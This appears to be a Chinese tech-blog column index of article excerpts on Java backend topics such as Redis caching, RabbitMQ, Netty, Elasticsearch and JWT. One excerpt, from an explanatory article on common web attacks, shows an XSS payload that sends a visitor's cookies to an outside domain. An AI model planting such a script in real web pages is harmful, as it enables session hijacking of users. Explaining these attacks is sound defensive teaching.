码上代码
我是码哥,为大家分享技术,面试经验和技巧,主页或私信可以联系我,希望我们成为朋友,一起逆袭
展开
专栏收录文章
- 默认排序
- 最新发布
- 最早发布
- 最多阅读
- 最少阅读
-
互联网大厂高并发下商品详情页面Redis+Lua实战
之前我们商品详情页为了应对高并发采用redis进行分布式锁的做法防止缓存穿透,缓存击穿,缓存雪崩并发问题:Redis缓存穿透,缓存击穿,缓存雪崩实战代码总结本篇对之前进行优化在应用高并发时,先进行一个限流,防止大量请求打入redis或者Mysql限流的算法有哪些?简单介绍 4 种非常好理解并且容易实现的限流算法!固定窗口计数器算法规定我们单位时间处理的请求数量。比如我们规定我们的一个接口一分钟只能访问10次的话。使用固定窗口计数器算法的话可以这样实现:给定一个变量counter来记录处理的请原创 2021-03-14 15:14:32 · 4801 阅读 · 0 评论 -
亿级流量下Rabbitmq如何实现消息不丢失实战教学
rabbitmq导致丢失数据—线上问题数据的丢失问题,可能出现在生产者、MQ、消费者中,咱们从 RabbitMQ来分析一下吧。1.如何保证生产者消息不丢失以mq实现异步消峰为例,系统需要实现发送手机验证码,采用rabbitmq发送消息给手机服务,消费消息后发送短信生产者 @RabbitListener(bindings = @QueueBinding( value = @Queue(value = "sms.sms.queue", durable = "true",原创 2021-03-08 20:18:13 · 23621 阅读 · 6 评论 -
异步编程的魔力:如何显著提升系统性能
今天我们来聊聊一个对开发者非常重要的话题——异步编程。异步编程是提升系统性能的一种强大手段,尤其在需要高吞吐量和低时延的场景中,异步设计能够显著减少线程等待时间,从而提升整体性能。原创 2024-05-29 16:42:56 · 438 阅读 · 0 评论 -
拜托,面试官不要在问我Redis分布式锁原理了
Redisson 实现 Redis 分布式锁的底层原理(1)加锁机制(2)锁互斥机制(3)watch dog ⾃动延期机制(4)可重⼊加锁机制(5)锁释放机制(6)此种⽅案 Redis 分布式锁的缺陷原创 2021-04-16 14:07:47 · 9526 阅读 · 6 评论 -
这可能是目前最透彻的Netty原理架构解析
介绍netty相关理论模型,使用场景,基本组件、整体架构,知其然且知其所以然Netty 是一个异步事件驱动的网络应用程序框架,用于快速开发可维护的高性能协议服务器和客户端。JDK 原生 NIO 程序的问题JDK 原生也有一套网络应用程序 API,但是存在一系列问题,主要如下:NIO 的类库和 API 繁杂,使用麻烦。你需要熟练掌握 Selector、ServerSocketChannel、SocketChannel、ByteBuffer 等。需要具备其他的额外技能做铺垫。例如熟悉 Java 多.原创 2021-11-01 10:52:19 · 1168 阅读 · 0 评论 -
你们公司用的Dubbo,能额外说说SpringCloud的架构原理吗
如果聊分布式这块的技术,围绕Dubbo来拷问的,但是呢,现在其实非常流行的是Spring Cloud,Dubbo和SpringCloud以及阿里系的一些技术,现在正在融合,Spring Cloud Alibaba,只不过现在用的公司暂时还没那么多而已作为合格的工程师,行业里主流的分布式服务技术栈,Dubbo和Spring Cloud两种,有的公司他是用Dubbo的,不用Spring Cloud的,有的公司是用Spring Cloud的,不用Dubbo的,他们是代表了两种主流技术栈Java工程师,D.原创 2022-01-23 12:33:35 · 4667 阅读 · 0 评论 -
这可能是目前最透彻的Netty原理架构解析(第二篇)
主从 Rreactor 多线程模型特别说明的是:虽然 Netty 的线程模型基于主从 Reactor 多线程,借用了 MainReactor 和 SubReactor 的结构。但是实际实现上 SubReactor 和 Worker 线程在同一个线程池中:```javaEventLoopGroup bossGroup = new NioEventLoopGroup();EventLoopGroup workerGroup = new NioEventLoopGroup();ServerBoots.原创 2021-11-03 10:47:18 · 7331 阅读 · 0 评论 -
自从用了这款工具,我在也不用当背锅侠了
学会了用这款工具,领导最看重的人就是你了,所以赶紧学起来。。。原创 2022-03-09 10:25:48 · 6606 阅读 · 0 评论 -
学完了这套框架,应届毕业生找工作再也不愁了
很多应届毕业生和刚培训或者自学的同学,不知道自己学到什么程度就可以找工作原创 2022-03-07 08:00:00 · 7468 阅读 · 5 评论 -
我给公司用了这款工具,领导直接给我涨了两千工资
这篇文章,手把手教你怎么涨工资。。。原创 2022-03-01 09:00:00 · 13668 阅读 · 21 评论 -
抛砖引玉:线程本地化存储如何保证线程安全
你是不是最害怕听到一个词就是线程不安全原创 2022-07-14 15:44:31 · 329 阅读 · 0 评论 -
深度思考:ThreadLocal是否存在内存泄漏问题,如何防止内存泄漏?
你真的了解如何防止内存泄漏吗原创 2022-07-20 09:38:04 · 620 阅读 · 0 评论 -
源码分析:ThreadLocal如何实现线程本地化存储的?
手把手加你读源码,分析源码原理和设计思想原创 2022-07-18 13:58:35 · 645 阅读 · 2 评论 -
java入门到成神之路的宝藏资源
不要白不要。。。原创 2022-02-25 15:21:03 · 889 阅读 · 0 评论 -
我学了这套性能优化方法论,领导年终奖给我发了6个月
如果想年终奖比同事拿的多,性能优化是你一鸣惊人的机会,所以必须掌握。。。原创 2022-03-10 08:36:45 · 9290 阅读 · 9 评论 -
从0到1万字贴心讲解单体架构到分布式架构的演变(第一篇)
很多粉丝反应,想学习分布式系统架构,从这篇码哥将教大家从零开始让你们学会分布式架构中应用场景和解决方案,从实践和理论两方面进行讲解。原创 2022-02-28 21:23:22 · 5503 阅读 · 2 评论 -
JVM常用配置参数,gc调优策略
JVM 配置常用参数堆参数;回收器参数;项目中常用配置;常用组合;堆参数img回收器参数img如上表所示,目前主要有串行、并行和并发三种,对于大内存的应用而言,串行的性能太低,因此使用到的主要是并行和并发两种。并行和并发 GC 的策略通过 UseParallelGC和UseConcMarkSweepGC 来指定,还有一些细节的配置参数用来配置策略的执行方式。例如:XX:Paral...原创 2020-03-28 08:36:09 · 2249 阅读 · 2 评论 -
微服务注册中⼼如何承载⼤型系统的千万级访问?
源码中你可以学到的编程思维原创 2022-02-23 16:30:57 · 8336 阅读 · 0 评论 -
如果让你设计一个RPC框架,网络通信,代理机制,负载均衡如何设计
这个面试题还是挺常见的人家并不是要你手撸一个RPC框架,资料,现场手撸一个RPC框架,撸的特别的简单,人家也不是要你手撸,也不是说让你进来了以后就是让你来研发RPC框架的系统设计的问题就是让你站在系统设计的角度,来考虑一下,到底如果要设计一个RPC框架,你会如何来考虑动态代理比如消费者和提供者,其实都是需要一个实现某个接口的动态代理的,RPC框架的一切的逻辑细节,都是在这个动态代理中实现的,动态代理里面的代码逻辑就是你的RPC框架核心的逻辑JDK提供了API,去创建针对某个接口的动态原创 2022-01-23 12:22:42 · 2487 阅读 · 0 评论 -
如果你们网关需要每秒抗10万并发访问,网关需要怎么优化
每秒10万并发网关架构原创 2022-02-07 10:57:15 · 8376 阅读 · 0 评论 -
netty如何实现优化百万并发http请求
问题引入:如果项目存在数量大的并发,如何优化项目性能首先判断项目性能瓶颈是什么, CPU,还是I/O请求大部分是网络I/o瓶颈,主要是因为网络请求是阻塞,导致太慢Netty 是一个异步事件驱动的网络应用程序框架,用于快速开发可维护的高性能协议服务器和客户端。JDK 原生 NIO 程序的问题JDK 原生也有一套网络应用程序 API,但是存在一系列问题,主要如下:NIO 的类库和 API 繁杂,使用麻烦。你需要熟练掌握 Selector、ServerSocketChannel、SocketC.原创 2021-10-09 17:27:48 · 6747 阅读 · 0 评论 -
手把手教你定位线上CPU告警定位分析过程
标题1.原因分析:线上cpu告警使用率过高分析过程:标题1.首先定位是否是线程池参数配置问题经过修改最大线程数以及各种参数发现运行模型性,cpu从10%反而一直稳定在30%,说明参数配置过小可能会导致处理异步任务过慢,线程资源持续消耗标题2.发现代码中有手动System.gc()操作,因为这样会导致主动触发full gc,触发full gc()会使服务触发STW,同时会导致服务卡顿2.由于触发full gc,会产生大量gc线程,所以会导致cpu使用率快速上升通过监控major gc 发现,c原创 2021-09-13 14:48:13 · 372 阅读 · 0 评论 -
MQ几百万数据没有消费怎么办---实战教你解决
领导说马上给解决方案其实本质针对的场景,都是说,可能你的消费端出了问题,不消费了;或者消费的速度极其慢。接着就坑爹了,可能你的消息队列集群的磁盘都快写满了,都没人消费,这个时候怎么办?或者是这整个就积压了几个小时,你这个时候怎么办?或者是你积压的时间太长了,导致比如 RabbitMQ 设置了消息过期时间后就没了怎么办?所以就这事儿,其实线上挺常见的,一般不出,一出就是大 case。一般常见于,举个例子,消费端每次消费之后要写 mysql,结果 mysql 挂了,消费端 hang 那儿了,不动了;或者是消原创 2021-01-27 15:42:57 · 28774 阅读 · 14 评论 -
rabbitmq导致丢失数据---线上问题
rabbitmq导致丢失数据—线上问题数据的丢失问题,可能出现在生产者、MQ、消费者中,咱们从 RabbitMQ来分析一下吧。生产者弄丢了数据生产者将数据发送到 RabbitMQ 的时候,可能数据就在半路给搞丢了,因为网络问题啥的,都有可能。此时可以选择用 RabbitMQ 提供的事务功能,就是生产者发送数据之前开启 RabbitMQ 事务 channel.txSelect ,然后发送消息,如果消息没有成功被 RabbitMQ 接收到,那么生产者会收到异常报错,此时就可以回滚事务 channel.原创 2021-01-26 10:44:42 · 29215 阅读 · 5 评论 -
Redis实现闯关小游戏---让你在同事面前装X
大家好,我是码弟原创 2021-01-20 14:21:01 · 13640 阅读 · 32 评论 -
Elasticsearch也可以实现商品智能搜索实战
Elasticsearch也可以实现商品智能搜索本文主要讲解整合Elasticsearch的过程,以实现商品信息在Elasticsearch中的导入、查询、修改、删除为例。项目使用框架介绍ElasticsearchElasticsearch 是一个分布式、可扩展、实时的搜索与数据分析引擎。 它能从项目一开始就赋予你的数据以搜索、分析和探索的能力,可用于实现全文搜索和实时数据统计。package com.macro.mall.search.domain;import org.springfr原创 2021-01-21 10:44:47 · 32134 阅读 · 3 评论 -
前后端分离项目,如何解决跨域问题
前后端分离项目,如何解决跨域问题跨域资源共享(CORS)是前后端分离项目很常见的问题,本文主要介绍当SpringBoot应用整合SpringSecurity以后如何解决该问题。什么是跨域问题CORS全称Cross-Origin Resource Sharing,意为跨域资源共享。当一个资源去访问另一个不同域名或者同域名不同端口的资源时,就会发出跨域请求。如果此时另一个资源不允许其进行跨域资源访问,那么访问的那个资源就会遇到跨域问题。跨域问题演示及解决我们使用mall项目的源代码来演示一下跨域问原创 2021-01-20 13:42:36 · 28893 阅读 · 2 评论 -
springboot项目整合Swagger-UI实现在线API文档
springboot项目整合Swagger-UI实现在线API文档本文主要讲解是如何通过整合Swagger-UI来实现一份相当完善的在线API文档的。项目使用框架介绍Swagger-UISwagger-UI是HTML, Javascript, CSS的一个集合,可以动态地根据注解生成在线API文档。常用注解@Api:用于修饰Controller类,生成Controller相关文档信息@ApiOperation:用于修饰Controller类中的方法,生成接口方法相关文档信息@ApiPar原创 2021-01-20 13:35:01 · 2562 阅读 · 1 评论 -
微服务架构技术选型推荐
微服务架构技术选型推荐本文介绍一下微服务架构常用技术组件选型!开发语言JAVA主流编程语言,适合构建大型后台服务GolangGo语言是谷歌2009发布的第二款开源编程语言。专门针对多处理器系统应用程序的编程进行了优化,使用Go编译的程序可以媲美C或C++代码的速度,而且更加安全、支持并行进程。Google对Go寄予厚望。其设计是让软件充分发挥多核心处理器同步多工的优点,并可解决面向对象程序设计的麻烦。目前作为云计算领域的不二之选!开发工具IntelliJ IDEAjetbrains公司旗下转载 2020-12-17 10:55:45 · 1015 阅读 · 4 评论 -
手动搭建ELK日志采集分析系统
SpringBoot应用整合ELK实现日志收集ELK即Elasticsearch、Logstash、Kibana,组合起来可以搭建线上日志系统,本文主要讲解使用ELK来收集SpringBoot应用产生的日志。学习前需要了解的内容开发者必备Docker命令使用Docker Compose部署SpringBoot应用SpringBoot应用中使用AOP记录接口访问日志ELK中各个服务的作用Elasticsearch:用于存储收集到的日志信息;Logstash:用于收集日志,SpringBo原创 2020-09-04 14:09:38 · 19067 阅读 · 3 评论 -
ELK整合Kafka采集日志
ELK搭建请看之前的博客我们从之前采用的logstash直接将项目日志采集到ES中,然后从kibana展示的方式改为将日志先采集到kafka然后用logstash输出到kibana展示原因是当项目的日志量过大时,采用kafka可以实现高吞吐量具体步骤项目中引入kafka项目依赖 <!--kafka依赖--> <dependency> <groupId>org.springframework.kafka</gr原创 2020-09-04 14:01:41 · 472 阅读 · 4 评论 -
使用Docker Compose部署SpringBoot应用
Docker Compose是一个用于定义和运行多个docker容器应用的工具。使用Compose你可以用YAML文件来配置你的应用服务,然后使用一个命令,你就可以部署你配置的所有服务了。安装下载Docker Compose:curl -L https://get.daocloud.io/docker/compose/releases/download/1.24.0/docker-compose-`uname -s`-`uname -m` > /usr/local/bin/docker-comp原创 2020-09-03 16:57:26 · 586 阅读 · 1 评论 -
网站常用攻击技术详解
一、跨站脚本攻击二、跨站请求伪造三、SQL 注入攻击四、拒绝服务攻击参考资料一、跨站脚本攻击概念跨站脚本攻击(Cross-Site Scripting, XSS),可以将代码注入到用户浏览的网页上,这种代码包括 HTML 和 JavaScript。攻击原理例如有一个论坛网站,攻击者可以在上面发布以下内容:<script>location.href="//domain.com/?c=" + document.cookie</script>之后该内容可能会..原创 2020-05-26 11:20:07 · 26679 阅读 · 10 评论 -
JWT结合springSecurity实现鉴权中心
1.无状态登录原理1.1.什么是有状态?有状态服务,即服务端需要记录每次会话的客户端信息,从而识别客户端身份,根据用户身份进行请求的处理,典型的设计如tomcat中的session。例如登录:用户登录后,我们把登录者的信息保存在服务端session中,并且给用户一个cookie值,记录对应的session。然后下次请求,用户携带cookie值来,我们就能识别到对应session,从而找到用户...原创 2020-05-07 08:53:04 · 12570 阅读 · 3 评论 -
Redis缓存穿透,缓存击穿,缓存雪崩实战代码总结
package com.macro.mall.portal.service.impl;import com.macro.mall.common.utils.JsonUtils;import com.macro.mall.common.utils.RedisUtil;import com.macro.mall.model.PmsProduct;import com.macro.mall.p...原创 2020-05-05 11:43:30 · 4653 阅读 · 3 评论